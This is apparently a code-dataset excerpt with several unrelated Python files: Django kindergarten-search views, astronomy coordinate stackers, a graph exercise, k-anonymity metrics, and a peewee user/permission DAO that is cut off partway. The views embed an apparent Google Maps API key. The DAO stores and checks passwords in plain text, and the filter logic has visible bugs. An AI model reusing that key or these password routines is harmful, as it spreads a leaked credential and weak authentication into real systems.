request.POST.get('year_old_key')\n\t\tp_post = request.POST.get('post_key')\n\t\tp_dis = request.POST.get('distance_key')\n\t\tp_price = request.POST.get('price_key')\n\t\tp_second = request.POST.get('second_language_key')\n\t\tkindergarten = Kindergarten.objects.all()\n\n\t\tk2 = False\n\t\tif p_sg.upper() == 'YES' or p_sg.upper == 'Y':\n\t\t\tkindergarten = selecetMOE(kindergarten)\n\t\tif int(p_year) <= 6 or int(p_year) >= 5:\n\t\t\tk2 = True\n\t\tkindergarten = year_kindergarten(k2, kindergarten)\n\t\tif p_certificate.upper() == 'YES' or p_certificate.upper() == 'Y':\n\t\t\tkindergarten = selecetSPARK(kindergarten)\n\t\tkindergarten = price_select(str(p_price), kindergarten, k2)\n\t\tkindergarten = language_select(p_second, kindergarten)\n\t\tprint(kindergarten)\n\t\treturn render(request, 'table.html', {'user_list': kindergarten})\n\n\ndef language_select(p_second, collection):\n\tif p_second == 'cn':\n\t\ttarget_kind = collection.filter(language='Chinese')\n\tif p_second == 'my':\n\t\ttarget_kind = collection.filter(language='Malay')\n\tif p_second == 'tm':\n\t\ttarget_kind = collection.filter(language='Tamil')\n\treturn target_kind\n\n\ndef price_select(price, collection, k2):\n\t# todo\n\tint_p = int(price)\n\tif int_p == 1000:\n\t\tif k2:\n\t\t\ttarget_kind = collection.filter(k2fee__lte=1000)\n\t\telse:\n\t\t\ttarget_kind = collection.filter(k1fee__lte=1000)\n\telif int_p == 1500:\n\t\tif k2:\n\t\t\ttarget_kind = collection.filter(k2fee__gte=1000, k2_fee__lte=1500)\n\t\telse:\n\t\t\ttarget_kind = collection.filter(k1fee__gte=1000, k1_fee__lte=1500)\n\telif int_p == 2000:\n\t\tif k2:\n\t\t\ttarget_kind = collection.filter(k2fee__gte=1500, k2_fee__lte=2000)\n\t\telse:\n\t\t\ttarget_kind = collection.filter(k1fee__gte=1500, k1_fee__lte=2000)\n\telif int_p == 2500:\n\t\tif k2:\n\t\t\ttarget_kind = collection.filter(k2fee__gte=2000, k2_fee__lte=2500)\n\t\telse:\n\t\t\ttarget_kind = collection.filter(k1fee__gte=2000, k1_fee__lte=2500)\n\telif int_p == 3000:\n\t\tif k2:\n\t\t\ttarget_kind = collection.filter(k2fee__gte=2500, k2_fee__lte=3000)\n\t\telse:\n\t\t\ttarget_kind = collection.filter(k1fee__gte=2500, k1_fee__lte=3000)\n\telse:\n\t\tif k2:\n\t\t\ttarget_kind = collection.filter(k2fee__gte=3000)\n\t\telse:\n\t\t\ttarget_kind = collection.filter(k1fee__gte=3000)\n\t# if k2:\n\t# target_kind = collection.filter(k2fee__gte=lower, k2fee__lte=upper)\n\t# else:\n\t# target_kind = collection.filter(k1fee__gte=lower, k1fee__lte=upper)\n\treturn target_kind\n\n\ndef selecetMOE(collection):\n\t# target_kind = collection.filter(MOE == True)\n\ttarget_kind = collection.filter(type='MOE')\n\treturn target_kind\n\n\ndef selecetSPARK(collection):\n\ttarget_kind = collection.filter(sparkCer=True)\n\treturn target_kind\n\n\ndef year_kindergarten(K2, collection):\n\t# target_kind = []\n\t# if K2:\n\t# for i in collection:\n\t# if collection.K2_capacity > 0:\n\t# target_kind.insert(i)\n\t# else:\n\t# for i in collection:\n\t# if collection.K1_capacity > 0:\n\t# target_kind.insert(i)\n\t# return target_kind\n\tif K2:\n\t\ttarget_kind = collection.filter(k2_capacity__gt=0)\n\telse:\n\t\ttarget_kind = collection.filter(k1_capacity__gt=0)\n\treturn target_kind\n\n\ndef distant_selection(target_distant, zip, collection):\n\ttarget_kind = collection.filter(calculatedistance(Kindergarten.postalcode, zip) < target_distant)\n\treturn target_kind\n\n\ndef calculatedistance(zip_home, zip_school):\n\tquery = \"https://maps.googleapis.com/maps/api/directions/json?origin=home&destination=school®ion=sg&key=AIzaSyALTRUtyRv0xcAxEj1mJklVHHXnU77OVE4\"\n\tquery = query.replace(\"home\", str(zip_home))\n\tquery = query.replace(\"school\", str(zip_school))\n\twith urllib.request.urlopen(query) as url:\n\t\tdata = json.loads(url.read().decode())\n\t\tdist = data['routes'][0]['legs'][0]['distance']['value']\n\t\treturn dist\n\n\ndef results(request, question_id):\n\tresponse = \"You're looking at the results of question %s.\"\n\treturn HttpResponse(response % question_id)\n\n\ndef vote(request, question_id):\n\treturn HttpResponse(\"You're voting on question %s.\" % question_id)\n\n\ndef fuzzy_filter(user_input, collection):\n\tsuggestions = []\n\tpattern = '.*'.join(user_input)\n\tregex = re.compile(pattern)\n\tfor item in collection:\n\t\tmatch = regex.search(item)\n\t\tif match:\n\t\t\tsuggestions.append(item)\n\treturn suggestions\n\n\nclass SchoolListView(View):\n\tdef get(self, request):\n\t\tkindergarten_list = Kindergarten.objects.all()\n\t\tpage = request.GET.get('page', 1)\n\n\t\tpaginator = Paginator(kindergarten_list, 10)\n\t\ttry:\n\t\t\tkindergarten = paginator.page(page)\n\t\texcept PageNotAnInteger:\n\t\t\tkindergarten = paginator.page(1)\n\t\texcept EmptyPage:\n\t\t\tkindergarten = paginator.page(paginator.num_pages)\n\n\t\treturn render(request, 'school_page.html', {'kindergarten': kindergarten})\n\n\nclass SchoolDetailView(View):\n\tdef get(self, request, pk):\n\t\ttry:\n\t\t\tschool = Kindergarten.objects.get(pk=pk)\n\t\texcept Kindergarten.DoesNotExist:\n\t\t\traise Http404(\"Kindergarten does not exists\")\n\n\t\tcontext = {'school': school}\n\t\treturn render(request, 'school_detail.html', context)\n\n\ndef saveToList(request, pk):\n\ttry:\n\t\tuser = User.objects.get(username=request.session['member_id'])\n\texcept:\n\t\t# print('here')\n\t\treturn render(request, 'login.html')\n\tschool = Kindergarten.objects.get(id=pk)\n\tif school in user.following.all():\n\t\treturn HttpResponseRedirect(request.META.get('HTTP_REFERER', '/'))\n\telse:\n\t\tuser.following.add(school)\n\t\tuser.save()\n\t\t# print('ok')\n\t\treturn HttpResponseRedirect(request.META.get('HTTP_REFERER', '/'))\n\n\ndef deleteFromList(request, pk):\n\ttry:\n\t\tuser = User.objects.get(username=request.session['member_id'])\n\texcept:\n\t\t# print('here')\n\t\treturn render(request, 'login.html')\n\tschool = Kindergarten.objects.get(id=pk)\n\tif school in user.following.all():\n\t\tuser.following.remove(school)\n\t\tuser.save()\n\t\treturn HttpResponseRedirect(request.META.get('HTTP_REFERER', '/'))\n\telse:\n\t\treturn HttpResponseRedirect(request.META.get('HTTP_REFERER', '/'))\n","sub_path":"django/schools/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"638170949","text":"import numpy as np\nimport ephem\nfrom lsst.sims.utils import _galacticFromEquatorial\n\nfrom .baseStacker import BaseStacker\nfrom .ditherStackers import wrapRA\n\n__all__ = ['GalacticStacker',\n 'EclipticStacker', 'mjd2djd']\n\ndef mjd2djd(mjd):\n \"\"\"Convert MJD to the Dublin Julian date used by ephem.\n \n Parameters\n ----------\n mjd : float or numpy.ndarray\n The modified julian date.\n Returns\n -------\n float or numpy.ndarray\n The dublin julian date.\n \"\"\"\n doff = ephem.Date(0)-ephem.Date('1858/11/17')\n djd = mjd-doff\n return djd\n\n\nclass GalacticStacker(BaseStacker):\n \"\"\"Add the galactic coordinates of each RA/Dec pointing.\n\n Parameters\n ----------\n raCol : str, opt\n Name of the RA column. Default fieldRA.\n decCol : str, opt\n Name of the Dec column. Default fieldDec.\n \"\"\"\n def __init__(self, raCol='fieldRA', decCol='fieldDec'):\n self.colsReq = [raCol, decCol]\n self.colsAdded = ['gall','galb']\n self.units = ['radians', 'radians']\n self.raCol = raCol\n self.decCol = decCol\n\n def _run(self, simData):\n # raCol and DecCol in radians, gall/b in radians.\n simData['gall'], simData['galb'] = _galacticFromEquatorial(simData[self.raCol], simData[self.decCol])\n return simData\n\nclass EclipticStacker(BaseStacker):\n \"\"\"Add the ecliptic coordinates of each RA/Dec pointing.\n Optionally subtract off the sun's ecliptic longitude and wrap.\n \n Parameters\n ----------\n mjdCol : str, opt\n Name of the MJD column. Default expMJD.\n raCol : str, opt\n Name of the RA column. Default fieldRA.\n decCol : str, opt\n Name of the Dec column. Default fieldDec.\n subtractSunLon : bool, opt\n Flag to subtract the sun's ecliptic longitude. Default False.\n \"\"\"\n def __init__(self, mjdCol='expMJD', raCol='fieldRA',decCol='fieldDec',\n subtractSunLon=False):\n\n self.colsReq = [mjdCol, raCol, decCol]\n self.subtractSunLon = subtractSunLon\n self.colsAdded = ['eclipLat', 'eclipLon']\n self.units = ['radians', 'radians']\n self.mjdCol = mjdCol\n self.raCol = raCol\n self.decCol=decCol\n\n def _run(self, simData):\n for i in np.arange(simData.size):\n coord = ephem.Equatorial(simData[self.raCol][i],simData[self.decCol][i], epoch=2000)\n ecl = ephem.Ecliptic(coord)\n simData['eclipLat'][i] = ecl.lat\n if self.subtractSunLon:\n djd = mjd2djd(simData[self.mjdCol][i])\n sun = ephem.Sun(djd)\n sunEcl = ephem.Ecliptic(sun)\n lon = wrapRA(ecl.lon - sunEcl.lon)\n simData['eclipLon'][i] = lon\n else:\n simData['eclipLon'][i] = ecl.lon\n return simData\n","sub_path":"python/lsst/sims/maf/stackers/coordStackers.py","file_name":"coordStackers.py","file_ext":"py","file_size_in_byte":2843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"342113010","text":"import sys\nsys.stdin = open(\"input.txt\")\n\ndef visited(v):\n for i in range(1, V+1):\n if ed[v][i]:\n if visit[i] == 0:\n return False\n return True\n\ndef dfs(v , V):\n for i in range(1 , V+1):\n if st[v][i] and visit[i] == 0 and i != v:\n if visited(i):\n visit[i] = 1\n result.append(i)\n dfs(i, V)\n\n\nfor tc in range(1,11):\n V , E = list(map(int,input().split()))\n node = list(map(int,input().split()))\n st = [[0 for _ in range(V + 1)] for _ in range(V + 1)]\n ed = [[0 for _ in range(V + 1)] for _ in range(V + 1)]\n visit = [0] * (V + 1)\n for i in range(0,len(node),2):\n st[node[i]][node[i+1]] += 1\n ed[node[i+1]][node[i]] += 1\n result = []\n re = []\n for i in range(1 , V + 1):\n if visited(i) and visit[i] == 0 :\n visit[i] = 1\n result.append(i)\n dfs(i, V)\n print(len(set(result)))\n print(\"#{} {}\".format(tc, \" \".join(map(str,result))))","sub_path":"19년 8월/day_11/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"9139504","text":"import math\nimport pandas as pd\nfrom typing import List\n\n\ndef test_with_sample():\n dict = {\n \"job\": [\"TGT1\", \"PGT1\", \"PPRT1\", \"TGT\", \"PPRT\", \"PGT\"],\n \"age\": [49, 40, 44, 48, 45, 43],\n \"pin\": [132042, 132021, 132024, 132046, 132045, 132027],\n \"equivalenceClass\": [1, 0, 0, 1, 1, 0]\n }\n\n frame = pd.DataFrame(dict)\n\n stats = Statistics(quasi_identifiers=[\"job\", \"age\", \"pin\"], equivalence_class_column=\"equivalenceClass\")\n frame = stats.categorize_columns(frame, [\"pin\", \"job\"])\n\n print(f'Generalized Information Loss: {round(stats.generalized_information_loss(frame, [\"job\", \"age\", \"pin\"]), 4)}')\n\n print(f'Discernibility Metric: {stats.discernibility_metric(frame, 3)}')\n\n print(f'Average Equivalence Class Size Metric: {stats.average_class_size(frame, 3)}')\n\n\nclass Statistics:\n \"\"\"\n Data Metrics for k-Anonymity\n (source: https://www.ijser.org/researchpaper/Data-Utility-Metrics-for-k-anonymization-Algorithms.pdf)\n \"\"\"\n\n def __init__(self, quasi_identifiers: List[str], equivalence_class_column: str):\n self.k = 1\n self.quasi_identifiers: List[str] = quasi_identifiers\n self.equivalence_class_column: str = equivalence_class_column\n\n\n def discernibility_metric(self, dataframe: pd.DataFrame, k: int) -> float:\n \"\"\" Calculates the degree of indistinguishability of records \"\"\"\n metric = 0\n\n for value in set(dataframe[self.equivalence_class_column]):\n eq_class_size = len(dataframe[dataframe[self.equivalence_class_column] == value])\n if eq_class_size >= k:\n metric += math.pow(eq_class_size, 2)\n else:\n metric += len(dataframe) * eq_class_size\n\n return metric\n\n def average_class_size(self, dataframe: pd.DataFrame, k: int) -> float:\n \"\"\" Calcuates how well the equivalence classes approach the best case where each record is generalized in an equivalence class of size k\"\"\"\n return len(dataframe) / (len(set(dataframe[self.equivalence_class_column])) * k)\n\n def generalized_information_loss(self, frame: pd.DataFrame, quasi_identifiers: List[str]) -> float:\n \"\"\" Calculates the amount of information loss when generalizing specific identifiers\"\"\"\n\n information_loss = 0\n for index, row in frame.iterrows():\n for key in quasi_identifiers:\n category = row[self.equivalence_class_column]\n uij = frame[frame[self.equivalence_class_column] == category][key].max()\n lij = frame[frame[self.equivalence_class_column] == category][key].min()\n ui = frame[key].max() + (0 if key == \"age\" else 1)\n li = frame[key].min() + (0 if key == \"age\" else 1)\n information_loss += ((uij - lij) / (ui - li))\n\n factor = 1 / (len(quasi_identifiers) * len(frame))\n result = factor * information_loss\n return result\n\n \"\"\" Helper \"\"\"\n\n def categorize_columns(self, dataframe: pd.DataFrame, columnNames: [str]) -> pd.DataFrame:\n categorized_column = dataframe[columnNames].apply(lambda col: pd.Categorical(col).codes)\n categorized_column += 1\n dataframe[columnNames] = categorized_column\n return dataframe\n","sub_path":"CASTLE/src/statistics.py","file_name":"statistics.py","file_ext":"py","file_size_in_byte":3272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"592642971","text":"\r\n\r\nfrom collections import defaultdict\r\n\r\nimport app.orm\r\n\r\nimport peewee\r\nfrom playhouse.shortcuts import model_to_dict\r\n\r\n\r\n# -----------------------------------------------------------------------------\r\n# Constants\r\n# -----------------------------------------------------------------------------\r\n\r\n# -----------------------------------------------------------------------------\r\n# Functions\r\n# -----------------------------------------------------------------------------\r\n\r\n# -----------------------------------------------------------------------------\r\n# Classes\r\n# -----------------------------------------------------------------------------\r\n\r\nclass DAOUtils(object):\r\n \"\"\"Utils for the DAO classes.\"\"\"\r\n\r\n @property\r\n def table(self):\r\n \"\"\"Return the corresponding table name.\"\"\"\r\n return self.__ORM_CLASS__._meta.table_name\r\n\r\n @property\r\n def isEmpty(self):\r\n \"\"\"Check if the corresponding table is empty.\"\"\"\r\n q = self.__ORM_CLASS__.select()\r\n return not q.exists()\r\n\r\n def getFields(self, null=True):\r\n \"\"\"Get filed names of the database table.\"\"\"\r\n #获取数据库表的归档名称\r\n fields = []\r\n\r\n # _meta.fileds: {'field_name': peewee_field_obj}\r\n for field, col in self.__ORM_CLASS__._meta.fields.items():\r\n if not null:\r\n if not col.null:\r\n fields.append(field)\r\n else:\r\n fields.append(field)\r\n\r\n return fields\r\n\r\n def get(self, _id):\r\n \"\"\"Get a record.\"\"\"\r\n errno = 0\r\n errmsg = None\r\n out_param = None\r\n\r\n try:\r\n obj = self.__ORM_CLASS__.get(self.__ORM_CLASS__.id == (_id))\r\n out_param = {self.table: model_to_dict(obj)}\r\n except self.__ORM_CLASS__.DoesNotExist as e:\r\n errno = 1\r\n errmsg = str(e)\r\n\r\n return (errno, errmsg, out_param)\r\n\r\n def create(self, output_field_name=None, **kwargs):\r\n \"\"\"Create a record.\"\"\"\r\n errno = 0\r\n errmsg = None\r\n out_param = None\r\n\r\n output_field_name = output_field_name or self.table\r\n\r\n try:\r\n o = self.__ORM_CLASS__.create(**kwargs)\r\n out_param = {output_field_name: model_to_dict(o, recurse=False)}\r\n except peewee.IntegrityError as e:\r\n errno = 1\r\n errmsg = str(e)\r\n return (errno, errmsg, out_param)\r\n\r\n def getOrCreateMany(self, data_source, output_field_name=None):\r\n \"\"\"\r\n Get or create many records with a data source of list type.\r\n\r\n data_source = [\r\n {'field1': 'val1-1', 'field2': 'val1-2'},\r\n {'field1': 'val2-1', 'field2': 'val2-2'},\r\n # ...\r\n ]\r\n \"\"\"\r\n errno, errmsg, out_param = 0, None, None\r\n output_field_name = output_field_name or self.table\r\n\r\n record_list = []\r\n\r\n with app.orm.db.atomic():\r\n try:\r\n for d in data_source:\r\n obj, is_created = self.__ORM_CLASS__.get_or_create(**d)\r\n record_list.append(model_to_dict(obj, recurse=False))\r\n except Exception as e:\r\n errno = 1\r\n errmsg = str(e)\r\n out_param = None\r\n # self.__ORM_CLASS__.insert_many(data_source).execute()\r\n\r\n out_param = {output_field_name: record_list}\r\n return (errno, errmsg, out_param)\r\n\r\n def insertMany(self, data_source):\r\n \"\"\"\r\n Insert many records directly into the db.\r\n\r\n This approach puts records into db directly with all required fields.\r\n\r\n data_source = [\r\n {'field1': 'val1-1', 'field2': 'val1-2'},\r\n {'field1': 'val2-1', 'field2': 'val2-2'},\r\n # ...\r\n ]\r\n \"\"\"\r\n errno, errmsg, out_param = 0, None, None\r\n\r\n with app.orm.db.atomic():\r\n self.__ORM_CLASS__.insert_many(data_source).execute()\r\n\r\n return (errno, errmsg, out_param)\r\n\r\n def update(self, filter_map=None, **kwargs):\r\n \"\"\"Update a record.\"\"\"\r\n errno = 0\r\n errmsg = None\r\n out_param = None\r\n\r\n try:\r\n if not kwargs or not isinstance(filter_map, dict):\r\n errno, errmsg = 1, 'Empty conditions for updating.'\r\n raise\r\n\r\n conditions = []\r\n\r\n for k, v in filter_map.items():\r\n if isinstance(v, list):\r\n conditions.append(getattr(self.__ORM_CLASS__, k).in_(v))\r\n elif v is not None:\r\n conditions.append(getattr(self.__ORM_CLASS__, k) == v)\r\n\r\n stmt = self.__ORM_CLASS__.update(**kwargs).where(*conditions)\r\n stmt.execute()\r\n\r\n except Exception as e:\r\n errno = 1\r\n errmsg = str(e)\r\n\r\n return (errno, errmsg, out_param)\r\n\r\n def delete(self, **kwargs):\r\n \"\"\"\r\n Delete records.\r\n\r\n kwargs will be passed in as condition parameters.\r\n \"\"\"\r\n errno, errmsg, out_param = 0, None, None\r\n\r\n try:\r\n if not kwargs:\r\n errno, errmsg = 1, 'Empty conditions for deleting.'\r\n raise\r\n\r\n conditions = []\r\n\r\n for k, v in kwargs.items():\r\n if isinstance(v, list):\r\n conditions.append(getattr(self.__ORM_CLASS__, k).in_(v))\r\n elif v is not None:\r\n conditions.append(getattr(self.__ORM_CLASS__, k) == v)\r\n\r\n stmt = self.__ORM_CLASS__.delete().where(*conditions)\r\n stmt.execute()\r\n except peewee.IntegrityError as e:\r\n errno, errmsg, out_param = 1, str(e), None\r\n except Exception as e:\r\n print(str(e))\r\n out_param = None\r\n finally:\r\n return (errno, errmsg, out_param)\r\n\r\n def query(self, output_field_name=None, **kwargs):\r\n #查询一个记录\r\n \"\"\"\r\n Query records.\r\n\r\n kwargs will be passed in as condition parameters.\r\n \"\"\"\r\n errno, errmsg, out_param = 0, None, None\r\n\r\n try:\r\n if not output_field_name or not isinstance(output_field_name, str):\r\n output_field_name = '{0}_list'.format(self.table)\r\n\r\n obj_list = []\r\n conds = []\r\n\r\n mod_objs = self.__ORM_CLASS__.select()\r\n\r\n if kwargs:\r\n for k, v in kwargs.items():\r\n if isinstance(v, list):\r\n conds.append(getattr(self.__ORM_CLASS__, k).in_(v))\r\n elif v is not None:\r\n conds.append(getattr(self.__ORM_CLASS__, k) == v)\r\n\r\n if conds:\r\n mod_objs = mod_objs.where(*conds)\r\n\r\n for m in mod_objs:\r\n obj_list.append(model_to_dict(m))\r\n\r\n out_param = {output_field_name: obj_list}\r\n except peewee.IntegrityError as e:\r\n errno = 1\r\n errmsg = str(e)\r\n\r\n return (errno, errmsg, out_param)\r\n\r\n#对于模块操作\r\nclass Module(DAOUtils):\r\n \"\"\"Data operation of Module.\"\"\"\r\n\r\n __ORM_CLASS__ = app.orm.Module\r\n\r\n def fetch(self, module_id_list=None):\r\n \"\"\"Query modules.\"\"\"\r\n errno = 0\r\n errmsg = None\r\n out_param = None\r\n\r\n try:\r\n modules = []\r\n\r\n if module_id_list and isinstance(module_id_list, list):\r\n mod_objs = app.orm.Module.select().where(\r\n app.orm.Module.id.in_(module_id_list)\r\n )\r\n else:\r\n mod_objs = app.orm.Module.select()\r\n\r\n for m in mod_objs:\r\n modules.append(model_to_dict(m))\r\n\r\n out_param = {'module_list': modules}\r\n except peewee.IntegrityError as e:\r\n errno = 1\r\n errmsg = str(e)\r\n\r\n return (errno, errmsg, out_param)\r\n\r\n def create(self, **kwargs):\r\n \"\"\"Create a new module.\"\"\"\r\n errno = 0\r\n errmsg = None\r\n out_param = None\r\n\r\n try:\r\n module = app.orm.Module.create(**kwargs)\r\n out_param = {'module': model_to_dict(module)}\r\n except peewee.IntegrityError as e:\r\n errno = 1\r\n errmsg = str(e)\r\n\r\n return (errno, errmsg, out_param)\r\n\r\n def update(self, module_id, **kwargs):\r\n \"\"\"Update a module.\"\"\"\r\n errno = 0\r\n errmsg = None\r\n out_param = None\r\n\r\n try:\r\n module = app.orm.Module.get(app.orm.Module.id == module_id)\r\n\r\n for attr_name, attr in kwargs.items():\r\n setattr(module, attr_name, attr)\r\n\r\n module.save()\r\n\r\n out_param = {'module': model_to_dict(module)}\r\n\r\n except app.orm.Module.DoesNotExist as e:\r\n errno = 1\r\n errmsg = str(e)\r\n\r\n return (errno, errmsg, out_param)\r\n\r\n def remove(self, module_id):\r\n \"\"\"Remove a module.\"\"\"\r\n errno = 0\r\n errmsg = None\r\n out_param = None\r\n\r\n try:\r\n stmt = app.orm.Module.delete().where(\r\n app.orm.Module.id == module_id\r\n )\r\n stmt.execute()\r\n\r\n except app.orm.Module.DoesNotExist as e:\r\n errno = 1\r\n errmsg = str(e)\r\n\r\n return (errno, errmsg, out_param)\r\n\r\n#用户操作\r\nclass User(DAOUtils):\r\n \"\"\"Data operation of User.\"\"\"\r\n#把数orm数据库中的user中调用回来\r\n __ORM_CLASS__ = app.orm.User\r\n#通过用户id查询一个用户对象\r\n def fetch(self, user_id):\r\n \"\"\"Fetch users.\"\"\"\r\n #查询users\r\n errno = 0\r\n errmsg = None\r\n out_param = None\r\n\r\n try:\r\n #查询字段\r\n user = app.orm.User.get(app.orm.User.id == (user_id))\r\n #将字段转换为一个字典(用id查询的模块# )\r\n user = model_to_dict(user)\r\n\r\n out_param = {'user': user}\r\n except app.orm.User.DoesNotExist as e:\r\n errno = 1\r\n errmsg = str(e)\r\n\r\n return (errno, errmsg, out_param)\r\n#通过一个列表中的id查询多个用户\r\n def fetchMany(self, user_id_list=None):\r\n \"\"\"Fetch all users.\"\"\"\r\n errno = 0\r\n errmsg = None\r\n out_param = None\r\n\r\n user_list = []\r\n try:\r\n conditions = []\r\n if isinstance(user_id_list, list):\r\n conditions.append(app.orm.User.id.in_(user_id_list))\r\n\r\n user_objs = app.orm.User.select()\r\n\r\n if conditions:\r\n user_objs = user_objs.where(*conditions)\r\n\r\n for u in user_objs:\r\n user = model_to_dict(u)\r\n user_list.append(user)\r\n\r\n out_param = {'user_list': user_list}\r\n except TypeError:\r\n errno = 1\r\n errmsg = 'Input param is not iterable.'\r\n except app.orm.User.DoesNotExist as e:\r\n errno = 2\r\n errmsg = str(e)\r\n\r\n return (errno, errmsg, out_param)\r\n#创建一个新用户\r\n def create(self, **kwargs):\r\n \"\"\"Create a new user.\"\"\"\r\n errno = 0\r\n errmsg = None\r\n out_param = None\r\n\r\n try:\r\n pwd = kwargs.pop('pwd')\r\n user_obj = app.orm.User.create(**kwargs)\r\n\r\n user = model_to_dict(user_obj)\r\n\r\n user_passwd_obj = app.orm.UserPasswd.create(**{\r\n 'user_id': user['id'],\r\n 'pwd': pwd\r\n })\r\n user_passwd = model_to_dict(user_passwd_obj)\r\n\r\n user.update({\r\n 'pwd': user_passwd['pwd']\r\n })\r\n\r\n out_param = {'user': user}\r\n except peewee.IntegrityError as e:\r\n errno = 1\r\n errmsg = str(e)\r\n return (errno, errmsg, out_param)\r\n\r\n def update(self, user_id, **kwargs):\r\n \"\"\"Update a user.\"\"\"\r\n errno = 0\r\n errmsg = None\r\n out_param = None\r\n\r\n try:\r\n user_model = app.orm.User.get(app.orm.User.id == user_id)\r\n\r\n for attr_name, attr in kwargs.items():\r\n setattr(user_model, attr_name, attr)\r\n\r\n user_model.save()\r\n\r\n out_param = {'user': model_to_dict(user_model)}\r\n except app.orm.User.DoesNotExist as e:\r\n errno = 1\r\n errmsg = str(e)\r\n\r\n return (errno, errmsg, out_param)\r\n\r\n # def batchRemove(self, user_id_list):\r\n # \"\"\"Delete users.\"\"\"\r\n # stmt = app.orm.User.delete().where(app.orm.User.id.in_(user_id_list))\r\n # stmt.execute()\r\n\r\n # return (True, 'ok')\r\n\r\n def remove(self, user_id):\r\n \"\"\"Remove a user.\"\"\"\r\n errno = 0\r\n errmsg = None\r\n out_param = None\r\n\r\n try:\r\n stmt = app.orm.User.delete().where(\r\n app.orm.User.id == user_id\r\n )\r\n stmt.execute()\r\n except peewee.IntegrityError as e:\r\n errno = 1\r\n errmsg = str(e)\r\n\r\n return (errno, errmsg, out_param)\r\n\r\n def authenticate(self, account, pwd):\r\n #查询账号密码是否一样\r\n \"\"\"User authentication.\"\"\"\r\n errno = 0\r\n errmsg = None\r\n out_param = None\r\n\r\n try:\r\n\r\n user_model_select = app.orm.User.select(\r\n app.orm.User\r\n ).join(\r\n app.orm.UserPasswd\r\n ).where(\r\n app.orm.User.account == account,\r\n app.orm.User.id == app.orm.UserPasswd.user_id,\r\n app.orm.UserPasswd.pwd == pwd\r\n )\r\n\r\n if len(user_model_select) == 0:\r\n raise app.orm.User.DoesNotExist()\r\n\r\n else:\r\n #查询结果是一个结果集 需要使用第一个即可 返回的是一个对象\r\n user = model_to_dict(user_model_select[0])\r\n\r\n out_param = {'user': user}\r\n except app.orm.User.DoesNotExist as e:\r\n errno = 1\r\n errmsg = str(e)\r\n\r\n return (errno, errmsg, out_param)\r\n#增加一个权限给用户\r\n def addModuleAccess(self, user_id, module_id, priviledge):\r\n \"\"\"\r\n Grant module-access permission to a user.\r\n\r\n Priviledges are also specified at the same time.\r\n priviledge: CRUD 8421\r\n \"\"\"\r\n errno = 0\r\n errmsg = None\r\n out_param = None\r\n\r\n target_mod = None\r\n parent_mod = None\r\n\r\n try:\r\n target_mod = app.orm.Module.get(\r\n app.orm.Module.id == module_id\r\n )\r\n except app.orm.Module.DoesNotExist as e:\r\n errno = 1\r\n errmsg = str(e)\r\n\r\n return (errno, errmsg, out_param)\r\n\r\n # Check if the user has the module's parent module access permission\r\n try:\r\n parent_mod = app.orm.Module.get(\r\n app.orm.Module.id == target_mod.parent_mod_id\r\n )\r\n except app.orm.Module.DoesNotExist as e:\r\n pass\r\n\r\n is_existed = False\r\n\r\n if parent_mod:\r\n try:\r\n app.orm.RUserModule.get(\r\n app.orm.RUserModule.module_id == parent_mod.id,\r\n app.orm.RUserModule.user_id == user_id\r\n )\r\n is_existed = True\r\n except app.orm.RUserModule.DoesNotExist:\r\n pass\r\n\r\n try:\r\n relation = app.orm.RUserModule.create(\r\n user_id=user_id,\r\n module_id=module_id,\r\n priviledge=priviledge\r\n )\r\n\r\n if not is_existed and parent_mod:\r\n app.orm.RUserModule.create(\r\n user_id=user_id,\r\n module_id=parent_mod.id,\r\n priviledge=priviledge\r\n )\r\n\r\n out_param = model_to_dict(relation, recurse=False)\r\n except app.orm.Module.DoesNotExist as e:\r\n errno = 1\r\n errmsg = 'Module doesn\\'t exist.'\r\n\r\n except app.orm.User.DoesNotExist as e:\r\n errno = 2\r\n errmsg = 'User doesn\\'t exist.'\r\n\r\n except peewee.IntegrityError as e:\r\n errno = 3\r\n errmsg = str(e)\r\n\r\n return (errno, errmsg, out_param)\r\n#删除一个用户的权限\r\n def removeModuleRelation(self, user_id, module_id):\r\n \"\"\"Revoke a module-access permission from a user.\"\"\"\r\n\r\n errno = 0\r\n errmsg = None\r\n out_param = None\r\n\r\n try:\r\n stmt = app.orm.RUserModule.delete().where(\r\n app.orm.RUserModule.user_id == user_id,\r\n app.orm.RUserModule.module_id == module_id\r\n )\r\n stmt.execute()\r\n except peewee.IntegrityError as e:\r\n errno = 1\r\n errmsg = str(e)\r\n\r\n return (errno, errmsg, out_param)\r\n#查询用户角色\r\n def fetchUserListViaRole(self, role_id):\r\n \"\"\"Fetch user list with user-role id.\"\"\"\r\n\r\n errno, errmsg, out_param = 0, None, None\r\n user_objs = app.orm.User.select().join(app.orm.RUserRole).where(\r\n app.orm.User.id == app.orm.RUserRole.user_id,\r\n app.orm.RUserRole.role_id == role_id\r\n )\r\n\r\n user_list = []\r\n\r\n for u in user_objs:\r\n user_list.append(model_to_dict(u))\r\n\r\n out_param = {'user_list': user_list}\r\n\r\n return (errno, errmsg, out_param)\r\n#查询用户被允许的模板权限\r\n def fetchModuleRelations(self, user_id):\r\n \"\"\"Fetch the modules which can be accessed by the user.\"\"\"\r\n errno, errmsg, out_param = 0, None, None\r\n\r\n user_module_objs = app.orm.RUserModule.select(\r\n app.orm.RUserModule,\r\n ).join(\r\n app.orm.User\r\n ).switch(app.orm.RUserModule).join(\r\n app.orm.Module\r\n ).where(\r\n app.orm.User.id == user_id\r\n )\r\n\r\n if len(user_module_objs) > 0:\r\n user_module_list = []\r\n\r\n for umo in user_module_objs:\r\n #转换为json,字典形式\r\n um = model_to_dict(umo)\r\n\r\n user_module_list.append(um)\r\n\r\n def sortRecursiveMenu(menu):\r\n \"\"\"Internal use for handling this multi-layered menu.\"\"\"\r\n mod_map = []\r\n modules = {}\r\n module_list = []\r\n\r\n for m_id, m in menu.items():\r\n p_id = m['parent_mod_id']\r\n\r\n # It's not a top module\r\n if p_id:\r\n p_tmp = [m_id]\r\n while p_id:\r\n p_tmp.insert(0, p_id)\r\n p_id = menu[p_id]['parent_mod_id']\r\n mod_map.append(p_tmp)\r\n else:\r\n modules[m_id] = m\r\n modules[m_id]['id'] = m_id\r\n\r\n 